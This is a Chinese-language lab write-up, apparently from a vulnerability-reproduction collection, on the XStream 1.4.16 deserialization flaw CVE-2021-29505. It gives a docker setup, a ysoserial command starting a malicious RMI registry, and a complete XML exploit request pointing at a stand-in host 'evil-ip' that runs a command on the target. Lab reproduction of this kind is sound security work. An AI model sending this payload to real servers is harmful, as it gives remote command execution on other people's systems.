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115 lines
5.0 KiB
Markdown
115 lines
5.0 KiB
Markdown
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# XStream 反序列化命令执行漏洞 CVE-2021-29505
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## 漏洞描述
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XStream 是一个轻量级、简单易用的开源 Java 类库，它主要用于将对象序列化成 XML（JSON）或反序列化为对象。
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XStream 在解析 XML 文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.16 及之前版本黑名单存在缺陷，攻击者可利用 `sun.rmi.registry.RegistryImpl_Stub` 构造 RMI 请求，进而执行任意命令。
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参考链接：
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- https://x-stream.github.io/CVE-2021-29505.html
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- https://paper.seebug.org/1543/
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## 环境搭建
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Vulhub 执行如下命令启动一个 Springboot + XStream 1.4.16 的环境：
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```
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docker-compose up -d
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```
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环境启动后，我们向 `http://your-ip:8080` 发送一个正常的 XML 数据包，将会得到预期返回：
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## 漏洞复现
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作为攻击者，我们在自己的服务器上使用 [ysoserial](https://github.com/frohoff/ysoserial) 的 JRMPListener 启动一个恶意的 RMI Registry：
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```
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java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/awesome_poc"
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```
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这个 RMI Registry 在收到请求后，会返回用 CommonsCollections6 利用链构造的恶意序列化对象。
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然后，我们向目标服务器发送 CVE-2021-29505 的 XML POC：
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```
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POST / HTTP/1.1
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Host: your-ip
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Connection: close
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Content-Type: application/xml
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Content-Length: 3169
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<java.util.PriorityQueue serialization='custom'>
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<unserializable-parents/>
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<java.util.PriorityQueue>
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<default>
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<size>2</size>
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</default>
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<int>3</int>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>12345</type>
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<value class='com.sun.org.apache.xpath.internal.objects.XString'>
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<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>12345</type>
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<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
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<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
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<parsedMessage>true</parsedMessage>
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<soapVersion>SOAP_11</soapVersion>
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<bodyParts/>
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<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
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<attachmentsInitialized>false</attachmentsInitialized>
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<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
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<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
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<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
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<names>
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<string>aa</string>
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<string>aa</string>
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</names>
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<ctx>
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<environment/>
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<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
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<java.rmi.server.RemoteObject>
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<string>UnicastRef</string>
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<string>evil-ip</string>
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<int>1099</int>
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<long>0</long>
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<int>0</int>
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<long>0</long>
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<short>0</short>
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<boolean>false</boolean>
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</java.rmi.server.RemoteObject>
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</registry>
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<host>evil-ip</host>
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<port>1099</port>
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</ctx>
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</candidates>
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</aliases>
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</nullIter>
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</sm>
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</message>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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</java.util.PriorityQueue>
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</java.util.PriorityQueue>
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```
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其中，evil-ip 是恶意 RMI 服务器的地址。恶意 RMI 服务器收到 RMI 请求：
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进入目标容器内，可见 `touch /tmp/awesome_poc` 已成功执行：
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值得注意的是，我们没有直接使用 [官网](https://x-stream.github.io/CVE-2021-29505.html) 给出的 POC，那个 POC 是错的。
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